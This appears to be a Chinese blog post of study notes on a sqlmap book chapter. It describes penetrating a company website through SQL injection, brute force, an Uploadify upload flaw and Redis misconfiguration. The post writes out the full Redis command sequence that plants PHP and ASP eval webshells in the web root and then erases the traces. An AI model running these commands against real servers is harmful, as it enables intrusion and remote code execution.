• sqlmap从入门到精通-第六章-6-6 SQL注入及redis漏洞渗透某公司站点


    6.6 SQL注入及redis漏洞渗透某公司站点

    6.6.1 信息搜集

    1. 域名信息收集

    (1) nslookup查询

    这个命令可以查询dns解析记录,如果有cdn的话这里查询的IP会在变化,并且一般的情况下会有cdn等关键字,或者是比较长的别名记录

    (2) toolbar.netcraft.com查询

    作者给的是上面这个域名,但是官方已经更换域名了,访问会跳转,我测试的地址可用,现在的地址是

    https://searchdns.netcraft.com/

    2. 获取真实的IP地址

    (1) Masscan安装

    (2) 使用Masscan扫描目标站点所有端口地址

    masscan -p 1-65535 xxx.xxx.xx.xx

    3. 获取物理路径信息

    这里是作者是使用报错的形式获取绝对路径,实际情景大家可以根据实际情况测试,具体有哪些思路,前面章节也讲过

    6.6.2 SQL注入

    1. 主站登录框注入

    使用Burpsuite抓包登录窗口请求包,保存请求文件使用-r参数通过sqlmap进行注入测试

    2. 获取后台密码

    通过暴力破解的方式获取后台账户和密码

    3. 使用Uploadify存在任意上传漏洞

    这里是作者找到了站点使用了Uploadify组件,这个组件可以任意文件上传,作者使用的时候构造上传文件的html文件,将action的地址改成真实的目标地址,具体地址在实际常见中去查找并更改即可,成功上传具备上传功能的html页面,然后访问这个页面,直接上传shell即可

    4. 获取webshell

    上述如果没有问题的话,那么是可以直接上传webshell

    6.6.3 后台密码加密分析

    1. 打包并下载网站源码

    这里还是使用rar命令进行打包然后下载,前面章节也讲到过,具体命令如下:

    rar a -k -r -r -ml E:wwwmfx.rar E:www

    2. 密码加密函数分析

    3. btnLogin_Click登录检查中存在逻辑后门

    上述两点,作者是分析代码挖掘出来了逻辑后门,这个真得看大家的实力和代码功底了,这方面的能力我也比较弱,大家仔细查询代码审计相关资料

    6.6.4 redis漏洞利用获取webshell

    1. redis账号获取webshell

    获取网站的真实路径,具体步骤如下:

    (1) 连接客户端和端口

    telnet xx.xx.xx.xx 3309

    (2) 认证

    auth 324155343

    (3) 查看当前的配置信息,并复制下来留待后续恢复

    config get dir

    config get dbfilename

    (4) 配置并写入webshell

    config set dir D:/www/bmfx

    config set dbfilename redis.aspx

    set webshell "<?php phpinfo(); ?>"

    set webshell "<?php @eval($_POST['bmfx']); ?>"

    // 这里是phpwebshell

    set webshell "<%eval (Request.Item['bmfx'], "unsafe");%>"

    // 这里是asp的webshell,双引号要使用反斜线转义

    save

    get a

    (5) 访问webshell地址

    (6) 恢复原始设置

    config get dir

    config get dbfilename

    flushdb

    2. 获取shell的完整命令

    telnet xxx.xxx.xx.xx 3309

    auth 324155343

    config get dir

    config get dbfilename

    config set dir E:/www/bmfx

    config set dbfilename redisbmfx.aspx

    set webshell "<?php phpinfo(); ?>"

    set webshell "<?php @eval($_POST['bmfx']); ?>"

    set webshell "<%@ Page Language="Jscript"%><%eval (Request.Item['bmfx'], "unsafe");%>"

    save

    get a

    config set dir

    config set dbfilename

    flushdb

    通过上述操作完成之后,不出意外的话,会获取webshell,这里作者在自己的博客上有发表过关于redis漏洞利用总结,具体地址如下:

    https://blog.51cto.com/simeon/2115184

    6.6.5 渗透总结与防御

    (1) Burpsuite抓包,对包文件使用sqlmap的-r参数进行读文件注入测试

    (2) 后台账号的暴力破解,使用的是Burpsuite对账号进行暴力破解

    (3) uploadify任意文件上传

    (4) 后台加密文件密码算法及密码破解分析

    (5) redis漏洞获取webshel方法

    (6) Masscan和Nmap进行全端口扫描

    (7) SQL注入攻击,这里的操作,前面章节讲了很多,这里略过

    (8) redis账号密码需要设置口令


     
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    Shell工具——cut、sed、awk、sort
    基于RocketMQ分布式事务实现
    Alpine Linux 包管理工具
    分布式事务之可靠消息最终一致性
    消息系统本质思考
    深入剖析Redis数据结构
    Feign原理深入剖析
    Shell中 /dev/null用法解析
    Lua 数据类型与变量
    分布式事务之Seata开源方案
  • 原文地址:https://www.cnblogs.com/autopwn/p/13395757.html
Copyright © 2020-2023  润新知